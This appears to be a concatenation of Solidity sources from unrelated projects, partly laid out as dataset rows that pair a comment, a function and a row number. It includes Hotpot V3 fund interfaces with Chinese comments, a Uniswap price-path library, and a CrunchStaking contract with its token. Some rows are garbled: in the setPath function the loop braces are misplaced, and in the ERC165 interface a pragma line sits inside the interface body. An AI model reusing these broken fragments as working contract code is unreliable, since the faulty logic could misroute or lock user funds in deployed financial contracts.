/// @param token0 token0 地址
/// @param token1 token1 地址
/// @param fee 手续费率
/// @param tickLower 价格刻度下届
/// @param tickUpper 价格刻度上届
/// @param amount 初始化投入金额,允许为0, 为0表示仅初始化头寸,不作实质性投资
/// @param deadline 最晚交易时间
/// @return liquidity 添加的lp数量
function init(
address fund,
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint amount,
uint deadline
) external returns(uint128 liquidity);
/// @notice 投资指定头寸,可选复投手续费
/// @dev This function can only be called by manager
/// @param fund 基金地址
/// @param poolIndex 池子索引号
/// @param positionIndex 头寸索引号
/// @param amount 投资金额
/// @param collect 是否收集已产生的手续费并复投
/// @param deadline 最晚交易时间
/// @return liquidity 添加的lp数量
function add(
address fund,
uint poolIndex,
uint positionIndex,
uint amount,
bool collect,
uint deadline
) external returns(uint128 liquidity);
/// @notice 撤资指定头寸
/// @dev This function can only be called by manager
/// @param fund 基金地址
/// @param poolIndex 池子索引号
/// @param positionIndex 头寸索引号
/// @param proportionX128 撤资比例,左移128位; 允许为0,为0表示只收集手续费
/// @param deadline 最晚交易时间
/// @return amount 撤资获得的基金本币数量
function sub(
address fund,
uint poolIndex,
uint positionIndex,
uint proportionX128,
uint deadline
) external returns(uint amount);
/// @notice 调整头寸投资
/// @dev This function can only be called by manager
/// @param fund 基金地址
/// @param poolIndex 池子索引号
/// @param subIndex 要移除的头寸索引号
/// @param addIndex 要添加的头寸索引号
/// @param proportionX128 调整比例,左移128位
/// @param deadline 最晚交易时间
/// @return liquidity 调整后添加的lp数量
function move(
address fund,
uint poolIndex,
uint subIndex,
uint addIndex,
uint proportionX128,
uint deadline
) external returns(uint128 liquidity);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Hotpot V3 事件接口定义
interface IHotPotV3FundEvents {
/// @notice 当存入基金token时,会触发该事件
event Deposit(address indexed owner, uint amount, uint share);
/// @notice 当取走基金token时,会触发该事件
event Withdraw(address indexed owner, uint amount, uint share);
/// @notice 当调用setDescriptor时触发
event SetDescriptor(bytes descriptor);
/// @notice 当调用setDepositDeadline时触发
event SetDeadline(uint deadline);
/// @notice 当调用setPath时触发
event SetPath(address distToken, bytes path);
/// @notice 当调用init时,会触发该事件
event Init(uint poolIndex, uint positionIndex, uint amount);
/// @notice 当调用add时,会触发该事件
event Add(uint poolIndex, uint positionIndex, uint amount, bool collect);
/// @notice 当调用sub时,会触发该事件
event Sub(uint poolIndex, uint positionIndex, uint proportionX128);
/// @notice 当调用move时,会触发该事件
event Move(uint poolIndex, uint subIndex, uint addIndex, uint proportionX128);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @notice 基金经理操作接口定义
interface IHotPotV3FundManagerActions {
/// @notice 设置基金描述信息
/// @dev This function can only be called by controller
/// @param _descriptor 描述信息
function setDescriptor(bytes calldata _descriptor) external;
/// @notice 设置基金存入截止时间
/// @dev This function can only be called by controller
/// @param deadline 最晚存入截止时间
function setDepositDeadline(uint deadline) external;
/// @notice 设置代币交易路径
/// @dev This function can only be called by controller
/// @dev 设置路径时不能修改为0地址,且path路径里的token必须验证是否受信任
/// @param distToken 目标代币地址
/// @param buy 购买路径(本币->distToken)
/// @param sell 销售路径(distToken->本币)
function setPath(
address distToken,
bytes calldata buy,
bytes calldata sell
) external;
/// @notice 初始化头寸, 允许投资额为0.
/// @dev This function can only be called by controller
/// @param token0 token0 地址
/// @param token1 token1 地址
/// @param fee 手续费率
/// @param tickLower 价格刻度下届
/// @param tickUpper 价格刻度上届
/// @param amount 初始化投入金额,允许为0, 为0表示仅初始化头寸,不作实质性投资
/// @param maxPIS 最大价格影响和价格滑点
/// @return liquidity 添加的lp数量
function init(
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint amount,
uint32 maxPIS
) external returns(uint128 liquidity);
/// @notice 投资指定头寸,可选复投手续费
/// @dev This function can only be called by controller
/// @param poolIndex 池子索引号
/// @param positionIndex 头寸索引号
/// @param amount 投资金额
/// @param collect 是否收集已产生的手续费并复投
/// @param maxPIS 最大价格影响和价格滑点
/// @return liquidity 添加的lp数量
function add(
uint poolIndex,
uint positionIndex,
uint amount,
bool collect,
uint32 maxPIS
) external returns(uint128 liquidity);
/// @notice 撤资指定头寸
/// @dev This function can only be called by controller
/// @param poolIndex 池子索引号
/// @param positionIndex 头寸索引号
/// @param proportionX128 撤资比例,左移128位; 允许为0,为0表示只收集手续费
/// @param maxPIS 最大价格影响和价格滑点
/// @return amount 撤资获得的基金本币数量
function sub(
uint poolIndex,
uint positionIndex,
uint proportionX128,
uint32 maxPIS
) external returns(uint amount);
/// @notice 调整头寸投资
/// @dev This function can only be called by controller
/// @param poolIndex 池子索引号
/// @param subIndex 要移除的头寸索引号
/// @param addIndex 要添加的头寸索引号
/// @param proportionX128 调整比例,左移128位
/// @param maxPIS 最大价格影响和价格滑点
/// @return liquidity 调整后添加的lp数量
function move(
uint poolIndex,
uint subIndex,
uint addIndex,
uint proportionX128, //以前是按LP数量移除,现在改成按总比例移除,这样前端就不用管实际LP是多少了
uint32 maxPIS
) external returns(uint128 liquidity);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Hotpot V3 状态变量及只读函数
interface IHotPotV3FundState {
/// @notice 控制器合约地址
function controller() external view returns (address);
/// @notice 基金经理地址
function manager() external view returns (address);
/// @notice 基金本币地址
function token() external view returns (address);
/// @notice 32 bytes 基金经理 + 任意长度的简要描述
function descriptor() external view returns (bytes memory);
/// @notice 基金锁定期
function lockPeriod() external view returns (uint);
/// @notice 基金经理收费基线
function baseLine() external view returns (uint);
/// @notice 基金经理收费比例
function managerFee() external view returns (uint);
/// @notice 基金存入截止时间
function depositDeadline() external view returns (uint);
/// @notice 获取最新存入时间
/// @param account 目标地址
/// @return 最新存入时间
function lastDepositTime(address account) external view returns (uint);
/// @notice 总投入数量
function totalInvestment() external view returns (uint);
/// @notice owner的投入数量
/// @param owner 用户地址
/// @return 投入本币的数量
function investmentOf(address owner) external view returns (uint);
/// @notice 指定头寸的资产数量
/// @param poolIndex 池子索引号
/// @param positionIndex 头寸索引号
/// @return 以本币计价的头寸资产数量
function assetsOfPosition(uint poolIndex, uint positionIndex) external view returns(uint);
/// @notice 指定pool的资产数量
/// @param poolIndex 池子索引号
/// @return 以本币计价的池子资产数量
function assetsOfPool(uint poolIndex) external view returns(uint);
/// @notice 总资产数量
/// @return 以本币计价的总资产数量
function totalAssets() external view returns (uint);
/// @notice 基金本币->目标代币 的购买路径
/// @param _token 目标代币地址
/// @return 符合uniswap v3格式的目标代币购买路径
function buyPath(address _token) external view returns (bytes memory);
/// @notice 目标代币->基金本币 的购买路径
/// @param _token 目标代币地址
/// @return 符合uniswap v3格式的目标代币销售路径
function sellPath(address _token) external view returns (bytes memory);
/// @notice 获取池子地址
/// @param index 池子索引号
/// @return 池子地址
function pools(uint index) external view returns(address);
/// @notice 头寸信息
/// @dev 由于基金需要遍历头寸,所以用二维动态数组存储头寸
/// @param poolIndex 池子索引号
/// @param positionIndex 头寸索引号
/// @return isEmpty 是否空头寸,tickLower 价格刻度下届,tickUpper 价格刻度上届
function positions(uint poolIndex, uint positionIndex)
external
view
returns(
bool isEmpty,
int24 tickLower,
int24 tickUpper
);
/// @notice pool数组长度
function poolsLength() external view returns(uint);
/// @notice 指定池子的头寸数组长度
/// @param poolIndex 池子索引号
/// @return 头寸数组长度
function positionsLength(uint poolIndex) external view returns(uint);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Hotpot V3 用户操作接口定义
/// @notice 存入(deposit)函数适用于ERC20基金; 如果是ETH基金(内部会转换为WETH9),应直接向基金合约转账;
interface IHotPotV3FundUserActions {
/// @notice 用户存入基金本币
/// @param amount 存入数量
/// @return share 用户获得的基金份额
function deposit(uint amount) external returns(uint share);
/// @notice 用户取出指定份额的本币
/// @param share 取出的基金份额数量
/// @param amountMin 最小提取值
/// @param deadline 最晚交易时间
/// @return amount 返回本币数量
function withdraw(uint share, uint amountMin, uint deadline) external returns(uint amount);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint64
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
library FixedPoint64 {
uint256 internal constant Q64 = 0x10000000000000000;
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.7.5;
pragma abicoder v2;
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol';
import '@uniswap/v3-core/contracts/libraries/FullMath.sol';
import "@uniswap/v3-core/contracts/libraries/FixedPoint96.sol";
import "@uniswap/v3-core/contracts/libraries/FixedPoint128.sol";
import "./FixedPoint64.sol";
import '@uniswap/v3-core/contracts/libraries/TickMath.sol';
import "@uniswap/v3-periphery/contracts/libraries/PoolAddress.sol";
import "@uniswap/v3-periphery/contracts/libraries/Path.sol";
library PathPrice {
using Path for bytes;
/// @notice 获取目标代币当前价格的平方根
/// @param path 兑换路径
/// @return sqrtPriceX96 价格的平方根(X 2^96),给定兑换路径的 tokenOut / tokenIn 的价格
function getSqrtPriceX96(
bytes memory path,
address uniV3Factory
) internal view returns (uint sqrtPriceX96){
require(path.length > 0, "IPL");
sqrtPriceX96 = FixedPoint96.Q96;
uint _nextSqrtPriceX96;
uint32[] memory secondAges = new uint32[](2);
secondAges[0] = 0;
secondAges[1] = 1;
while (true) {
(address tokenIn, address tokenOut, uint24 fee) = path.decodeFirstPool();
IUniswapV3Pool pool = IUniswapV3Pool(PoolAddress.computeAddress(uniV3Factory, PoolAddress.getPoolKey(tokenIn, tokenOut, fee)));
(_nextSqrtPriceX96,,,,,,) = pool.slot0();
sqrtPriceX96 = tokenIn > tokenOut
? FullMath.mulDiv(sqrtPriceX96, FixedPoint96.Q96, _nextSqrtPriceX96)
: FullMath.mulDiv(sqrtPriceX96, _nextSqrtPriceX96, FixedPoint96.Q96);
// decide whether to continue or terminate
if (path.hasMultiplePools())
path = path.skipToken();
else
break;
}
}
/// @notice 获取目标代币预言机价格的平方根
/// @param path 兑换路径
/// @return sqrtPriceX96Last 预言机价格的平方根(X 2^96),给定兑换路径的 tokenOut / tokenIn 的价格
function getSqrtPriceX96Last(
bytes memory path,
address uniV3Factory
) internal view returns (uint sqrtPriceX96Last){
require(path.length > 0, "IPL");
sqrtPriceX96Last = FixedPoint96.Q96;
uint _nextSqrtPriceX96;
uint32[] memory secondAges = new uint32[](2);
secondAges[0] = 0;
secondAges[1] = 1;
while (true) {
(address tokenIn, address tokenOut, uint24 fee) = path.decodeFirstPool();
IUniswapV3Pool pool = IUniswapV3Pool(PoolAddress.computeAddress(uniV3Factory, PoolAddress.getPoolKey(tokenIn, tokenOut, fee)));
// sqrtPriceX96Last
(int56[] memory tickCumulatives,) = pool.observe(secondAges);
_nextSqrtPriceX96 = TickMath.getSqrtRatioAtTick(int24(tickCumulatives[0] - tickCumulatives[1]));
sqrtPriceX96Last = tokenIn > tokenOut
? FullMath.mulDiv(sqrtPriceX96Last, FixedPoint96.Q96, _nextSqrtPriceX96)
: FullMath.mulDiv(sqrtPriceX96Last, _nextSqrtPriceX96, FixedPoint96.Q96);
// decide whether to continue or terminate
if (path.hasMultiplePools())
path = path.skipToken();
else
break;
}
}
/// @notice 验证交易滑点是否满足条件
/// @param path 兑换路径
/// @param uniV3Factory uniswap v3 factory
/// @param maxSqrtSlippage 最大滑点,最大值: 1e4
/// @return 当前价
function verifySlippage(
bytes memory path,
address uniV3Factory,
uint32 maxSqrtSlippage
) internal view returns(uint) {
uint last = getSqrtPriceX96Last(path, uniV3Factory);
uint current = getSqrtPriceX96(path, uniV3Factory);
if(last > current) require(current > FullMath.mulDiv(maxSqrtSlippage, last, 1e4), "VS");
return current;
}
}
|
@inheritdoc IManagerActions 第一个tokenIn是基金token,那么就是buy路径 如果是sellPath, 第一个需要是目标代币 pool is exist at least 2 observations
|
function setPath(
address fund,
address distToken,
bytes memory path
) external override onlyManager(fund){
require(verifiedToken[distToken]);
address fundToken = IHotPotV3Fund(fund).token();
bytes memory _path = path;
bytes memory _reverse;
(address tokenIn, address tokenOut, uint24 fee) = path.decodeFirstPool();
_reverse = abi.encodePacked(tokenOut, fee, tokenIn);
bool isBuy;
if(tokenIn == fundToken){
isBuy = true;
}
else{
require(tokenIn == distToken);
}
while (true) {
require(verifiedToken[tokenIn], "VIT");
require(verifiedToken[tokenOut], "VOT");
address pool = IUniswapV3Factory(uniV3Factory).getPool(tokenIn, tokenOut, fee);
require(pool != address(0), "PIE");
(,,,uint16 observationCardinality,,,) = IUniswapV3Pool(pool).slot0();
require(observationCardinality >= 2, "OC");
if (path.hasMultiplePools()) {
path = path.skipToken();
(tokenIn, tokenOut, fee) = path.decodeFirstPool();
_reverse = abi.encodePacked(tokenOut, fee, _reverse);
if(isBuy)
require(tokenOut == distToken, "OID");
else
require(tokenOut == fundToken, "OIF");
break;
}
if(!isBuy) (_path, _reverse) = (_reverse, _path);
IHotPotV3Fund(fund).setPath(distToken, _path, _reverse);
}
| 416,954 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @dev See https://eips.ethereum.org/EIPS/eip-165
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
|
See https://eips.ethereum.org/EIPS/eip-165
|
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
pragma solidity ^0.8.0;
}
| 7,246,562 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "./erc677/IERC677Receiver.sol";
import "./access/HasCrunchParent.sol";
import "./CrunchToken.sol";
/**
* DataCrunch Staking contract for the CRUNCH token.
*
* To start staking, use the {CrunchStaking-deposit(address)} method, but this require an allowance from your account.
* Another method is to do a {CrunchToken-transferAndCall(address, uint256, bytes)} to avoid doing 2 transactions. (as per ERC-677 standart)
*
* Withdrawing will withdraw everything. There is currently no method to only withdraw a specific amount.
*
* @author Enzo CACERES
* @author Arnaud CASTILLO
*/
contract CrunchStaking is HasCrunchParent, IERC677Receiver {
event Withdrawed(
address indexed to,
uint256 reward,
uint256 staked,
uint256 totalAmount
);
event EmergencyWithdrawed(address indexed to, uint256 staked);
event Deposited(address indexed sender, uint256 amount);
event RewardPerDayUpdated(uint256 rewardPerDay, uint256 totalDebt);
struct Holder {
/** Index in `addresses`, used for faster lookup in case of a remove. */
uint256 index;
/** When does an holder stake for the first time (set to `block.timestamp`). */
uint256 start;
/** Total amount staked by the holder. */
uint256 totalStaked;
/** When the reward per day is updated, the reward debt is updated to ensure that the previous reward they could have got isn't lost. */
uint256 rewardDebt;
/** Individual stakes. */
Stake[] stakes;
}
struct Stake {
/** How much the stake is. */
uint256 amount;
/** When does the stakes 'start' is. When created it is `block.timestamp`, and is updated when the `reward per day` is updated. */
uint256 start;
}
/** The `reward per day` is the amount of tokens rewarded for 1 million CRUNCHs staked over a 1 day period. */
uint256 public rewardPerDay;
/** List of all currently staking addresses. Used for looping. */
address[] public addresses;
/** address to Holder mapping. */
mapping(address => Holder) public holders;
/** Currently total staked amount by everyone. It is incremented when someone deposit token, and decremented when someone withdraw. This value does not include the rewards. */
uint256 public totalStaked;
/** @dev Initializes the contract by specifying the parent `crunch` and the initial `rewardPerDay`. */
constructor(CrunchToken crunch, uint256 _rewardPerDay)
HasCrunchParent(crunch)
{
rewardPerDay = _rewardPerDay;
}
/**
* @dev Deposit an `amount` of tokens from your account to this contract.
*
* This will start the staking with the provided amount.
* The implementation call {IERC20-transferFrom}, so the caller must have previously {IERC20-approve} the `amount`.
*
* Emits a {Deposited} event.
*
* Requirements:
* - `amount` cannot be the zero address.
* - `caller` must have a balance of at least `amount`.
*
* @param amount amount to reposit.
*/
function deposit(uint256 amount) external {
crunch.transferFrom(_msgSender(), address(this), amount);
_deposit(_msgSender(), amount);
}
/**
* Withdraw the staked tokens with the reward.
*
* Emits a {Withdrawed} event.
*
* Requirements:
* - `caller` to be staking.
*/
function withdraw() external {
_withdraw(_msgSender());
}
/**
* Returns the current reserve for rewards.
*
* @return the contract balance - the total staked.
*/
function reserve() public view returns (uint256) {
uint256 balance = contractBalance();
if (totalStaked > balance) {
revert(
"Staking: the balance has less CRUNCH than the total staked"
);
}
return balance - totalStaked;
}
/**
* Test if the caller is currently staking.
*
* @return `true` if the caller is staking, else if not.
*/
function isCallerStaking() external view returns (bool) {
return isStaking(_msgSender());
}
/**
* Test if an address is currently staking.
*
* @param `addr` address to test.
* @return `true` if the address is staking, else if not.
*/
function isStaking(address addr) public view returns (bool) {
return _isStaking(holders[addr]);
}
/**
* Get the current balance in CRUNCH of this smart contract.
*
* @return The current staking contract's balance in CRUNCH.
*/
function contractBalance() public view returns (uint256) {
return crunch.balanceOf(address(this));
}
/**
* Returns the sum of the specified `addr` staked amount.
*
* @param addr address to check.
* @return the total staked of the holder.
*/
function totalStakedOf(address addr) external view returns (uint256) {
return holders[addr].totalStaked;
}
/**
* Returns the computed reward of everyone.
*
* @return total the computed total reward of everyone.
*/
function totalReward() public view returns (uint256 total) {
uint256 length = addresses.length;
for (uint256 index = 0; index < length; index++) {
address addr = addresses[index];
total += totalRewardOf(addr);
}
}
/**
* Compute the reward of the specified `addr`.
*
* @param addr address to test.
* @return the reward the address would get.
*/
function totalRewardOf(address addr) public view returns (uint256) {
Holder storage holder = holders[addr];
return _computeRewardOf(holder);
}
/**
* Sum the reward debt of everyone.
*
* @return total the sum of all `Holder.rewardDebt`.
*/
function totalRewardDebt() external view returns (uint256 total) {
uint256 length = addresses.length;
for (uint256 index = 0; index < length; index++) {
address addr = addresses[index];
total += rewardDebtOf(addr);
}
}
/**
* Get the reward debt of an holder.
*
* @param addr holder's address.
* @return the reward debt of the holder.
*/
function rewardDebtOf(address addr) public view returns (uint256) {
return holders[addr].rewardDebt;
}
/**
* Test if the reserve is sufficient to cover the `{totalReward()}`.
*
* @return whether the reserve has enough CRUNCH to give to everyone.
*/
function isReserveSufficient() external view returns (bool) {
return _isReserveSufficient(totalReward());
}
/**
* Test if the reserve is sufficient to cover the `{totalRewardOf(address)}` of the specified address.
*
* @param addr address to test.
* @return whether the reserve has enough CRUNCH to give to this address.
*/
function isReserveSufficientFor(address addr) external view returns (bool) {
return _isReserveSufficient(totalRewardOf(addr));
}
/**
* Get the number of address current staking.
*
* @return the length of the `addresses` array.
*/
function stakerCount() external view returns (uint256) {
return addresses.length;
}
/**
* Get the stakes array of an holder.
*
* @param addr address to get the stakes array.
* @return the holder's stakes array.
*/
function stakesOf(address addr) external view returns (Stake[] memory) {
return holders[addr].stakes;
}
/**
* Get the stakes array length of an holder.
*
* @param addr address to get the stakes array length.
* @return the length of the `stakes` array.
*/
function stakesCountOf(address addr) external view returns (uint256) {
return holders[addr].stakes.length;
}
/**
* @dev ONLY FOR EMERGENCY!!
*
* Force an address to withdraw.
*
* @dev Should only be called if a {CrunchStaking-destroy()} would cost too much gas to be executed.
*
* @param addr address to withdraw.
*/
function forceWithdraw(address addr) external onlyOwner {
_withdraw(addr);
}
/**
* @dev ONLY FOR EMERGENCY!!
*
* Emergency withdraw.
*
* All rewards are discarded. Only initial staked amount will be transfered back!
*
* Emits a {EmergencyWithdrawed} event.
*
* Requirements:
* - `caller` to be staking.
*/
function emergencyWithdraw() external {
_emergencyWithdraw(_msgSender());
}
/**
* @dev ONLY FOR EMERGENCY!!
*
* Force an address to emergency withdraw.
*
* @dev Should only be called if a {CrunchStaking-emergencyDestroy()} would cost too much gas to be executed.
*
* @param addr address to emergency withdraw.
*/
function forceEmergencyWithdraw(address addr) external onlyOwner {
_emergencyWithdraw(addr);
}
/**
* Update the reward per day.
*
* This will recompute a reward debt with the previous reward per day value.
* The debt is used to make sure that everyone will keep their rewarded tokens using the previous reward per day value for the calculation.
*
* Emits a {RewardPerDayUpdated} event.
*
* Requirements:
* - `to` must not be the same as the reward per day.
* - `to` must be below or equal to 15000.
*
* @param to new reward per day value.
*/
function setRewardPerDay(uint256 to) external onlyOwner {
require(
rewardPerDay != to,
"Staking: reward per day value must be different"
);
require(
to <= 15000,
"Staking: reward per day must be below 15000/1M token/day"
);
uint256 debt = _updateDebts();
rewardPerDay = to;
emit RewardPerDayUpdated(rewardPerDay, debt);
}
/**
* @dev ONLY FOR EMERGENCY!!
*
* Empty the reserve if there is a problem.
*/
function emptyReserve() external onlyOwner {
uint256 amount = reserve();
require(amount != 0, "Staking: reserve is empty");
crunch.transfer(owner(), amount);
}
/**
* Destroy the contact after withdrawing everyone.
*
* @dev If the reserve is not zero after the withdraw, the remaining will be sent back to the contract's owner.
*/
function destroy() external onlyOwner {
uint256 usable = reserve();
uint256 length = addresses.length;
for (uint256 index = 0; index < length; index++) {
address addr = addresses[index];
Holder storage holder = holders[addr];
uint256 reward = _computeRewardOf(holder);
require(usable >= reward, "Staking: reserve does not have enough");
uint256 total = holder.totalStaked + reward;
crunch.transfer(addr, total);
}
_transferRemainingAndSelfDestruct();
}
/**
* @dev ONLY FOR EMERGENCY!!
*
* Destroy the contact after emergency withdrawing everyone, avoiding the reward computation to save gas.
*
* If the reserve is not zero after the withdraw, the remaining will be sent back to the contract's owner.
*/
function emergencyDestroy() external onlyOwner {
uint256 length = addresses.length;
for (uint256 index = 0; index < length; index++) {
address addr = addresses[index];
Holder storage holder = holders[addr];
crunch.transfer(addr, holder.totalStaked);
}
_transferRemainingAndSelfDestruct();
}
/**
* @dev ONLY FOR CRITICAL EMERGENCY!!
*
* Destroy the contact without withdrawing anyone.
* Only use this function if the code has a fatal bug and its not possible to do otherwise.
*/
function criticalDestroy() external onlyOwner {
_transferRemainingAndSelfDestruct();
}
/** @dev Internal function called when the {IERC677-transferAndCall} is used. */
function onTokenTransfer(
address sender,
uint256 value,
bytes memory data
) external override onlyCrunchParent {
data; /* silence unused */
_deposit(sender, value);
}
/**
* Deposit.
*
* @dev If the depositor is not currently holding, the `Holder.start` is set and his address is added to the addresses list.
*
* @param from depositor address.
* @param amount amount to deposit.
*/
function _deposit(address from, uint256 amount) internal {
require(amount != 0, "cannot deposit zero");
Holder storage holder = holders[from];
if (!_isStaking(holder)) {
holder.start = block.timestamp;
holder.index = addresses.length;
addresses.push(from);
}
holder.totalStaked += amount;
holder.stakes.push(Stake({amount: amount, start: block.timestamp}));
totalStaked += amount;
emit Deposited(from, amount);
}
/**
* Withdraw.
*
* @dev This will remove the `Holder` from the `holders` mapping and the address from the `addresses` array.
*
* Requirements:
* - `addr` must be staking.
* - the reserve must have enough token.
*
* @param addr address to withdraw.
*/
function _withdraw(address addr) internal {
Holder storage holder = holders[addr];
require(_isStaking(holder), "Staking: no stakes");
uint256 reward = _computeRewardOf(holder);
require(
_isReserveSufficient(reward),
"Staking: the reserve does not have enough token"
);
uint256 staked = holder.totalStaked;
uint256 total = staked + reward;
crunch.transfer(addr, total);
totalStaked -= staked;
_deleteAddress(holder.index);
delete holders[addr];
emit Withdrawed(addr, reward, staked, total);
}
/**
* Emergency withdraw.
*
* This is basically the same as {CrunchStaking-_withdraw(address)}, but without the reward.
* This function must only be used for emergencies as it consume less gas and does not have the check for the reserve.
*
* @dev This will remove the `Holder` from the `holders` mapping and the address from the `addresses` array.
*
* Requirements:
* - `addr` must be staking.
*
* @param addr address to withdraw.
*/
function _emergencyWithdraw(address addr) internal {
Holder storage holder = holders[addr];
require(_isStaking(holder), "Staking: no stakes");
uint256 staked = holder.totalStaked;
crunch.transfer(addr, staked);
totalStaked -= staked;
_deleteAddress(holder.index);
delete holders[addr];
emit EmergencyWithdrawed(addr, staked);
}
/**
* Test if the `reserve` is sufficiant for a specified reward.
*
* @param reward value to test.
* @return if the reserve is bigger or equal to the `reward` parameter.
*/
function _isReserveSufficient(uint256 reward) private view returns (bool) {
return reserve() >= reward;
}
/**
* Test if an holder struct is currently staking.
*
* @dev Its done by testing if the stake array length is equal to zero. Since its not possible, it mean that the holder is not currently staking and the struct is only zero.
*
* @param holder holder struct.
* @return `true` if the holder is staking, `false` otherwise.
*/
function _isStaking(Holder storage holder) internal view returns (bool) {
return holder.stakes.length != 0;
}
/**
* Update the reward debt of all holders.
*
* @dev Usually called before a `reward per day` update.
*
* @return total total debt updated.
*/
function _updateDebts() internal returns (uint256 total) {
uint256 length = addresses.length;
for (uint256 index = 0; index < length; index++) {
address addr = addresses[index];
Holder storage holder = holders[addr];
uint256 debt = _updateDebtsOf(holder);
holder.rewardDebt += debt;
total += debt;
}
}
/**
* Update the reward debt of a specified `holder`.
*
* @param holder holder struct to update.
* @return total sum of debt added.
*/
function _updateDebtsOf(Holder storage holder)
internal
returns (uint256 total)
{
uint256 length = holder.stakes.length;
for (uint256 index = 0; index < length; index++) {
Stake storage stake = holder.stakes[index];
total += _computeStakeReward(stake);
stake.start = block.timestamp;
}
}
/**
* Compute the reward for every holder.
*
* @return total the total of all of the reward for all of the holders.
*/
function _computeTotalReward() internal view returns (uint256 total) {
uint256 length = addresses.length;
for (uint256 index = 0; index < length; index++) {
address addr = addresses[index];
Holder storage holder = holders[addr];
total += _computeRewardOf(holder);
}
}
/**
* Compute all stakes reward for an holder.
*
* @param holder the holder struct.
* @return total total reward for the holder (including the debt).
*/
function _computeRewardOf(Holder storage holder)
internal
view
returns (uint256 total)
{
uint256 length = holder.stakes.length;
for (uint256 index = 0; index < length; index++) {
Stake storage stake = holder.stakes[index];
total += _computeStakeReward(stake);
}
total += holder.rewardDebt;
}
/**
* Compute the reward of a single stake.
*
* @param stake the stake struct.
* @return the token rewarded (does not include the debt).
*/
function _computeStakeReward(Stake storage stake)
internal
view
returns (uint256)
{
uint256 numberOfDays = ((block.timestamp - stake.start) / 1 days);
return (stake.amount * numberOfDays * rewardPerDay) / 1_000_000;
}
/**
* Delete an address from the `addresses` array.
*
* @dev To avoid holes, the last value will replace the deleted address.
*
* @param index address's index to delete.
*/
function _deleteAddress(uint256 index) internal {
uint256 length = addresses.length;
require(
length != 0,
"Staking: cannot remove address if array length is zero"
);
uint256 last = length - 1;
if (last != index) {
address addr = addresses[last];
addresses[index] = addr;
holders[addr].index = index;
}
addresses.pop();
}
/**
* Transfer the remaining tokens back to the current contract owner and then self destruct.
*
* @dev This function must only be called for destruction!!
* @dev If the balance is 0, the `CrunchToken#transfer(address, uint256)` is not called.
*/
function _transferRemainingAndSelfDestruct() internal {
uint256 remaining = contractBalance();
if (remaining != 0) {
crunch.transfer(owner(), remaining);
}
selfdestruct(payable(owner()));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "./erc677/ERC677.sol";
contract CrunchToken is ERC677, ERC20Burnable {
constructor() ERC20("Crunch Token", "CRUNCH") {
_mint(msg.sender, 10765163 * 10**decimals());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "../CrunchToken.sol";
contract HasCrunchParent is Ownable {
event ParentUpdated(address from, address to);
CrunchToken public crunch;
constructor(CrunchToken _crunch) {
crunch = _crunch;
emit ParentUpdated(address(0), address(crunch));
}
modifier onlyCrunchParent() {
require(
address(crunch) == _msgSender(),
"HasCrunchParent: caller is not the crunch token"
);
_;
}
function setCrunch(CrunchToken _crunch) public onlyOwner {
require(address(crunch) != address(_crunch), "useless to update to same crunch token");
emit ParentUpdated(address(crunch), address(_crunch));
crunch = _crunch;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./ERC677.sol";
import "./IERC677.sol";
import "./IERC677Receiver.sol";
abstract contract ERC677 is IERC677, ERC20 {
function transferAndCall(
address recipient,
uint256 amount,
bytes memory data
) public virtual override returns (bool success) {
super.transfer(recipient, amount);
emit TransferAndCall(msg.sender, recipient, amount, data);
if (isContract(recipient)) {
IERC677Receiver receiver = IERC677Receiver(recipient);
receiver.onTokenTransfer(msg.sender, amount, data);
}
return true;
}
function isContract(address addr) private view returns (bool hasCode) {
uint256 length;
assembly {
length := extcodesize(addr)
}
return length > 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IERC677 is IERC20 {
/**
* @dev transfer token to a contract address with additional data if the recipient is a contact.
* @param recipient The address to transfer to.
* @param amount The amount to be transferred.
* @param data The extra data to be passed to the receiving contract.
*/
function transferAndCall(
address recipient,
uint256 amount,
bytes memory data
) external returns (bool success);
event TransferAndCall(
address indexed from,
address indexed to,
uint256 value,
bytes data
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC677Receiver {
function onTokenTransfer(
address sender,
uint256 value,
bytes memory data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
